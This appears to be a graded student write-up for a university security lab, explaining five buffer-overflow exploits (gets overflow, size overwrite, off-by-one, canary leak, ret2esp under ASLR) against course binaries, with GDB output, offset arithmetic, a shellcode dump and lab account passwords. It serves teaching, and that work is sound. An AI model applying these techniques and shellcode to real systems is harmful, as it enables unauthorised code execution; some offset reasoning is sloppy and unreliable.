CS161 Project 1 Explanations

Daniel Janbay, Vedaank Tiwari

TOTAL POINTS

31 / 45

QUESTION 1

1 Problem 1 3 / 5

- ✓ + 1 pts **Identify Vulnerability (gets) and how to exploit**
- + 2 pts Relevant GDB output before/after
- ✓ + 2 pts **Explanation of GDB output includes how they found return address and where they put the shellcode**
- + 0 pts None of the above

QUESTION 2

2 Problem 2 4 / 5

- ✓ + 2 pts **Brief description: identified negative int that could lead to a buffer overflow in fread**
- ✓ - 1 pts **did not mention negative int**
- - 1 pts did not mention buffer overflow
- ✓ + 1 pts **Includes GDB output that helps with explanation: eip, sfp, stack layout and buffer position relative to saved eip/sfp**
- ✓ + 2 pts **Explanation of gdb output: Why does the information show that the exploit worked?**
- - 1 pts Didn't mention new eip value in GDB explanation
- - 1 pts Didn't mention shellcode address in GDB explanation
- + 0 pts Incorrect

QUESTION 3

3 Problem 3 13 / 15

- ✓ + 2 pts **Identifies off by one**
- ✓ + 3 pts **Relevant GDB output before/after**
- ✓ + 1 pts **Explains how they dealt with XOR 1 << 5**
- ✓ + 1 pts **GDB explanation includes: overwriting one byte leads to SFP pointing to somewhere in buffer**
- ✓ + 2 pts **GDB explanation includes: once exploit occurs, EBP is set to changed SFP**
- ✓ + 2 pts **GDB explanation includes: shows how student got address of malicious shell code**
- + 2 pts GDB explanation includes: first 4 bytes from that address is treated as SFP
- ✓ + 2 pts **GDB explanation includes: second 4 bytes from that address is treated as saved RIP (which is where student puts address of malicious shell code)**
- + 0 pts Incorrect

QUESTION 4

4 Problem 4 8 / 10

- ✓ + 1 pts **Explicitly identifies buffer overflow (gets) and information leak**
- + 2 pts Explains why the code allows for the information leak to work (unchecked bounds of the buffer)
- ✓ + 2 pts **Explains why they entered the input they did (line up \x at end of buffer)**
- ✓ + 3 pts **Identifies which bytes of the output correspond to the canary & why**
- ✓ + 2 pts **Explains how they identified the return address (mention of gdb)**
- + 0 pts Incorrect, no submission, or insufficient explanation

QUESTION 5

5 Problem 5 3 / 10

- ✓ + 4 pts **Explicitly identifies vulnerability: buffer of size n receives up to n << 3 bytes**
- ✓ - 2 pts **Stated that a buffer overflow is required but doesn't specify that the buffer receive size is greater than the buffer size.**
- + 3 pts valid explanation of how the general exploit works
- - 1 pts Did not address how exploit overcomes

ASLR

+ 3 pts Points for explanation using gdb output.
- may mention of a magic number for "jmp *%esp" (if using ret2esp)
- may mention a pointer on the stack being partially overwritten (if using ret2ret)

- 1 pts Submission did not mention new %eip value

- 1 pts Submission did not mention shellcode address

+ 0 pts Incorrect

- 1 pts Incorrect statement

+ 1 Point adjustment

Includes GDB output but does not show that the $eip has been overwritten.

Q1 EXPLANATION - VEDAANK TIWARI, DANIEL JANBAY

The vulnerable gets() function in line 7 of the code allows us to insert extra code into the buffer and overwrite our EIP to point to the shellcode because it reads from stdin and stores the values into a string, stopping only when it reaches a newline or EOF.
Now to exploit, we looked up the addresses of the EBP and door in gdb, breaking at line 7, before the gets() function.

```
(gdb) p $ebp
$4 = (void *) 0xbffffa98
(gdb) p &door
$5 = (char (*)[8]) 0xbffffa88
```

gets() fills characters into the buffer, so we know that
EBP and EIP can be overwritten, because the EIP is only 4 bytes after the EBP.
We overwrite EIP to point to shellcode so that it runs via return.

Because we know that EIP is 4 bytes after EBP @ 0xbffffa9c, we can simply subtract the difference between 0xbffffa9c and the address of door to find out how long our random variables need to be to overwrite EIP to point to our shellcode. In this case, it results as 20 bytes. We then injected 20 0xff hex bytes to overwrite the EBP. Then we injected the address of our shell code, pointing to the actual shellcode that we stuffed in 4 bytes after the EIP. Once the buffer is filled, deja_vu() spawns a shell, allowing us to break into smith, and see the password.

```
vsftpd@pwnable:~$ ./exploit
whoami
smith
cat README
Welcome to the real world.

user: smith
pass: 37ZFBrAPm8
```

1 Problem 1 **3 / 5**

- ✓ **+ 1 pts Identify Vulnerability (gets) and how to exploit**
- **+ 2 pts** Relevant GDB output before/after
- ✓ **+ 2 pts Explanation of GDB output includes how they found return address and where they put the shellcode**
- **+ 0 pts** None of the above

Q2 EXPLANATION - VEDAANK TIWARI, DANIEL JANBAY

We can exploit is found in the fread() function call on line 15 because it reads in a specified number of bytes from a file into an array msg, without checking length, allowing us a pathway to overflow the buffer. Since we can easily see the address of the size variable, we can overwrite it to some very large number, allowing us to indiscriminately insert some random bytes to reach the EIP, overwrite it with a new EIP that points to shellcode, allowing us to execute shellcode with the return call.

First, we set a breakpoint on line 15 and calling info frame revealing the EIP, EBP, and the address of msg. Then, we set the first byte of our script output as our size 0xff, a large enough number to make life easy. (as long as this is a large enough number, it doesn't explicitly matter how large it is). This allows us to stuff more bytes into this variable.

```
Breakpoint 1, display (path=0xbffffc2b "eggout") at agent-smith.c:15
15       n = fread(msg, 1, size, file);
(gdb) i f
Stack level 0, frame at 0xbffffa80:
 eip = 0x8048517 in display (agent-smith.c:15); saved eip 0x804857b
 called by frame at 0xbffffaa0
 source language c.
 Arglist at 0xbffffa78, args: path=0xbffffc2b "eggout"
 Locals at 0xbffffa78, Previous frame's sp is 0xbffffa80
 Saved registers:
  ebp at 0xbffffa78, eip at 0xbffffa7c
(gdb) p &msg
$1 = (char (*)[128]) 0xbffff9e8
```

Since EBP and EIP are much larger than the address of EIP, we know we must pass in some random bytes as padding. We can take the difference of the addresses EIP and msg to calculate exactly how many bytes we need, since we need to override the entire buffer anyway. This works out to 148 bytes, 144 between msg and EBP and 4 bytes between EBP and EIP. We just stuff in 148 * 1 byte hex jargon to fill up the buffer. Now we insert a new EIP that points to 4 bytes after it, where the shellcode is located. (Basically take the EIP from the frame above, and add 4 bytes, because we know that the shellcode is 4 bytes after EIP). This allows our shellcode to run with the return call, giving us browns credentials.

```
smith@pwnable:~$ ./exploit
$ whoami
brown
$ cat README
user: brown
pass: mXFLFR5C62
```

2 Problem 2 **4 / 5**

- ✓ **+ 2 pts** Brief description: identified negative int that could lead to a buffer overflow in fread
- ✓ **- 1 pts** did not mention negative int
- **- 1 pts** did not mention buffer overflow
- ✓ **+ 1 pts** Includes GDB output that helps with explanation: eip, sfp, stack layout and buffer position relative to saved eip/sfp
- ✓ **+ 2 pts** Explanation of gdb output: Why does the information show that the exploit worked?
- **- 1 pts** Didn't mention new eip value in GDB explanation
- **- 1 pts** Didn't mention shellcode address in GDB explanation
- **+ 0 pts** Incorrect

Q3 EXPLANATION - VEDAANK TIWARI, DANIEL JANBAY

The off-by-one vulnerability found in the for loop of the flip function (line 9) allows 65 elements to be inserted into the 64-byte buffer, so we can overwrite the least significant byte of the EBP, allowing us to put a fake EIP to point to the start of our shell code, which will be executed upon the function’s return call.

egg contains the shell code, as an environment variable
arg contains our nefarious intentions, although in the name of science

```
(gdb) x/s *((char **)environ)
0xbffffc05:     "PAD=\353\037^\211v\b1\300\210F\a\211F\f\260\v\211\363
\215N\b\215V\f\315\200\061\333\211\330@\315\200\350\334\377\377\377/bin/sh
 \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
 \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
 \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
 \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
 \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
 \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
 \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
 \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"...
```

Here we can see the address of our shellcode is 0xbffffc05 + 4 to compensate for the "PAD=" 1 byte buffer. We take this address and XOR it with 1 << 5 (32) or in hex 0x20 to get our bit flipped address:

0xbffffc09 -> after bit flip and in little endian becomes: "\x29\xdc\xdf\x9f"

We now have our fake EIP to point to shellcode. Now onto buffer stuff.

```
(gdb) p $ebp
$1 = (void *) 0xbffff9e8
(gdb) p &buf
$2 = (char (*)[64]) 0xbffff9a8
```

Since we can only overwrite the least significant byte of the EBP, we chose to set these last two bits of our buffer to 0x88, which we get by using the same XOR method above on the last two bits of the buffer a8. We call this but our overflow bit, since it points us back into the buffer to out shellcode can execute. Then, we place the address of the shellcode into the buffer.

Since the EIP is always found 4 bytes after the EBP, we set the address of the shellcode to be 4 bytes after the start of the buffer, however because we need to the rest of the buffer with 56 bits of random info to account for 65 bytes total, we can just stuff the address of the shellcode 16 times, completely filling buffer with it. This allows the shellcode to execute, giving us access to jz and his wonderful rap collection.

brown@pwnable:~$ invoke exploit
$ whoami
jz
$ cat README
Perhaps we are asking the wrong questions.

user: jz
pass: cqkeuevfIO

3 Problem 3 **13 / 15**

- ✓ **+ 2 pts** **Identifies off by one**
- ✓ **+ 3 pts** **Relevant GDB output before/after**
- ✓ **+ 1 pts** **Explains how they dealt with XOR 1 << 5**
- ✓ **+ 1 pts** **GDB explanation includes: overwriting one byte leads to SFP pointing to somewhere in buffer**
- ✓ **+ 2 pts** **GDB explanation includes: once exploit occurs, EBP is set to changed SFP**
- ✓ **+ 2 pts** **GDB explanation includes: shows how student got address of malicious shell code**
- **+ 2 pts** GDB explanation includes: first 4 bytes from that address is treated as SFP
- ✓ **+ 2 pts** **GDB explanation includes: second 4 bytes from that address is treated as saved RIP (which is where student puts address of malicious shell code)**
- **+ 0 pts** Incorrect

Q4 EXPLANATION - VEDAANK TIWARI, DANIEL JANBAY

Initially the stack canary can be quite hard to deal with, but we can take advantage of the vulnerability
caused in dehexify, where it "gets()" our input, and assumes that characters preceded by “\\x” are in hexadecimal.

We can set a breakpoint here (at line 16) to help identify the vulnerability, and see the EIP, which we need to point to our shellcode, so we can break in when the code returns.

In order to break through the canary, we can send a string of 13 characters succeeded by “\\x\n” in order to treat the canary’s null terminator as normal hexadecimal. This allows to retrieve the other three bytes of the canary. This can be done by splicing the program’s output at [14:17].

```
Breakpoint 1, dehexify () at agent-jz.c:16
16          gets(buffer);
(gdb) i f
Stack level 0, frame at 0xbffffaa4:
 eip = 0x804855c in dehexify (agent-jz.c:16); saved eip 0x8048637
 called by frame at 0xbffffab0
 source language c.
 Arglist at 0xbffffa9c, args:
 Locals at 0xbffffa9c, Previous frame's sp is 0xbffffaa4
 Saved registers:
  ebp at 0xbffffa9c, eip at 0xbffffaa0
```

From this, we get the EIP, which we add 4 to, so it points to the shellcode we inject right after it. Our final EIP is 0xbffffaa4

Since we must overwrite both the buffer and answer arrays, we can pad our next input (on the same run of the program) with 32 bytes of random text. Then we add the canary (3 bytes). Then we add 4 more random bytes to get to the EIP, so we can overwrite it with a new EIP that points 4 bits behind it, where our shellcode is located.

From there, we run interact to get the password as follows.

```
jz@pwnable:~$ ./interact
size: 3
Welcome to the desert of the real.

user: jones
pass: Bw6eAWWXM8
jz@pwnable:~$
```

4 Problem 4 **8 / 10**

- ✓ **+ 1 pts** **Explicitly identifies buffer overflow (gets) and information leak**
- **+ 2 pts** Explains why the code allows for the information leak to work (unchecked bounds of the buffer)
- ✓ **+ 2 pts** **Explains why they entered the input they did (line up \x at end of buffer)**
- ✓ **+ 3 pts** **Identifies which bytes of the output correspond to the canary & why**
- ✓ **+ 2 pts** **Explains how they identified the return address (mention of gdb)**
- **+ 0 pts** Incorrect, no submission, or insufficient explanation

Q5 EXPLANATION - VEDAANK TIWARI, DANIEL JANBAY

We can exploit this ASLR enabled VM using a vulnerability to place our shellcode in such a way that EIP eventually points to to when it returns, running our shellcode. We can go about this by overwriting EIP so it maps to the jmp *%esp instruction, leading to the execution of the shell code.

First we find the location of jmp *%esp in the magic() function. We find it after ori, which is at 0x08048619. We also know that ori is 3 bytes long, so we can add this to find the location of jmp *%esp, which turns out as 0x804861c, which we can confirm with the GDB snippet below.

```
(gdb) disas magic
Dump of assembler code for function magic:
   0x08048604 <+0>:     push   %ebp
   0x08048605 <+1>:     mov    %esp,%ebp
   0x08048607 <+3>:     mov    0xc(%ebp),%eax
   0x0804860a <+6>:     shl    $0x3,%eax
   0x0804860d <+9>:     xor    %eax,0x8(%ebp)
   0x08048610 <+12>:    mov    0x8(%ebp),%eax
   0x08048613 <+15>:    shl    $0x3,%eax
   0x08048616 <+18>:    xor    %eax,0xc(%ebp)
   0x08048619 <+21>:    orl    $0xe4ff,0x8(%ebp)
   0x08048620 <+28>:    mov    0xc(%ebp),%ecx
   0x08048623 <+31>:    mov    $0x3e0f83e1,%edx
   0x08048628 <+36>:    mov    %ecx,%eax
   0x0804862a <+38>:    mul    %edx
   0x0804862c <+40>:    mov    %edx,%eax
   0x0804862e <+42>:    shr    $0x4,%eax
   0x08048631 <+45>:    add    %eax,%eax
   0x08048633 <+47>:    mov    %eax,%edx
   0x08048635 <+49>:    shl    $0x5,%edx
   0x08048638 <+52>:    add    %edx,%eax
   0x0804863a <+54>:    mov    %ecx,%edx
   0x0804863c <+56>:    sub    %eax,%edx
   0x0804863e <+58>:    mov    %edx,%eax
   0x08048640 <+60>:    mov    %eax,0xc(%ebp)
   0x08048643 <+63>:    mov    0xc(%ebp),%eax
   0x08048646 <+66>:    mov    0x8(%ebp),%edx
   0x08048649 <+69>:    and    %edx,%eax
   0x0804864b <+71>:    pop    %ebp
   0x0804864c <+72>:    ret
End of assembler dump.
(gdb) x/i 0x0804861c
```

```
   0x804861c <magic+24>:	jmp    *%esp
```

Then, to figure our EBP and ESP, we break our code at like 39.

```
Breakpoint 1, handle (client=8) at agent-jones.c:39
39		memset(buf, 0, sizeof(buf));
(gdb) i f
Stack level 0, frame at 0xbffffa40:
 eip = 0x80486fc in handle (agent-jones.c:39); saved eip 0x80488cc
 called by frame at 0xbffffaa0
 source language c.
 Arglist at 0xbffffa38, args: client=8
 Locals at 0xbffffa38, Previous frame's sp is 0xbffffa40
 Saved registers:
  ebp at 0xbffffa38, eip at 0xbffffa3c
(gdb) p $esp
$1 = (void *) 0xbfffebc0
(gdb) p $ebp
$2 = (void *) 0xbffffa38
(gdb) p &buf
$3 = (char (*)[3680]) 0xbfffebd0
```

Here we can see that EBP is 0xbffffa38. This is important as we need this address to find out how many random bytes we need to fill the buffer, so we can overwrite EIP. Now to find the address of the unfilled buffer, we break at like 30.

```
Breakpoint 2, io (socket=8, n=3680,
    buf=0xbfffebd0
"\034\206\004\b\034\206\004\b\034\206\004\b\034\206\004\b\203\354|1\333\367
\343SCSj\002\211\341\260f\315\200[^Rh\002") at agent-jones.c:30
30		while (buf[i] && buf[i] != '\n' && i < n)
(gdb) p &buf
$4 = (char **) 0xbfffebc8
```

Since we know that our pointer to the shellcode has to be inside buffer, and will start 4 bytes after the start of buffer, and that EIP has the jmp   *%esp command that will jump to this location in the buffer, we need to figure out how many bytes we need to fill the buffer to overwrite EIP. We can determine this number as 3969 bytes, or the difference between 4 bytes above the buffer address and the location of EIP, which is 4 bytes above EBP ((0xbffffa38 + 4) - (0xbfffebc8 + 4). We proceed to fill in the location of our shellcode into buffer, so when the code attempt to return, our shellcode is run, giving us root access.

Note: we added "\x83\xec\x7c" to the front of our shellcode to make sure we had a large enough gap between ESP and EBP.

jones@pwnable:~$ invoke exploit
sending exploit...
connecting to 0wned machine...
whoami
root

5 Problem 5 3 / 10

✓ **+ 4 pts Explicitly identifies vulnerability: buffer of size n receives up to n << 3 bytes**

✓ **- 2 pts Stated that a buffer overflow is required but doesn't specify that the buffer receive size is greater than the buffer size.**

+ 3 pts valid explanation of how the general exploit works

- 1 pts Did not address how exploit overcomes ASLR

+ 3 pts Points for explanation using gdb output.

- may mention of a magic number for "jmp *%esp" (if using ret2esp)

- may mention a pointer on the stack being partially overwritten (if using ret2ret)

- 1 pts Submission did not mention new %eip value

- 1 pts Submission did not mention shellcode address

+ 0 pts Incorrect

- 1 pts Incorrect statement

+ 1 Point adjustment

Includes GDB output but does not show that the $eip has been overwritten.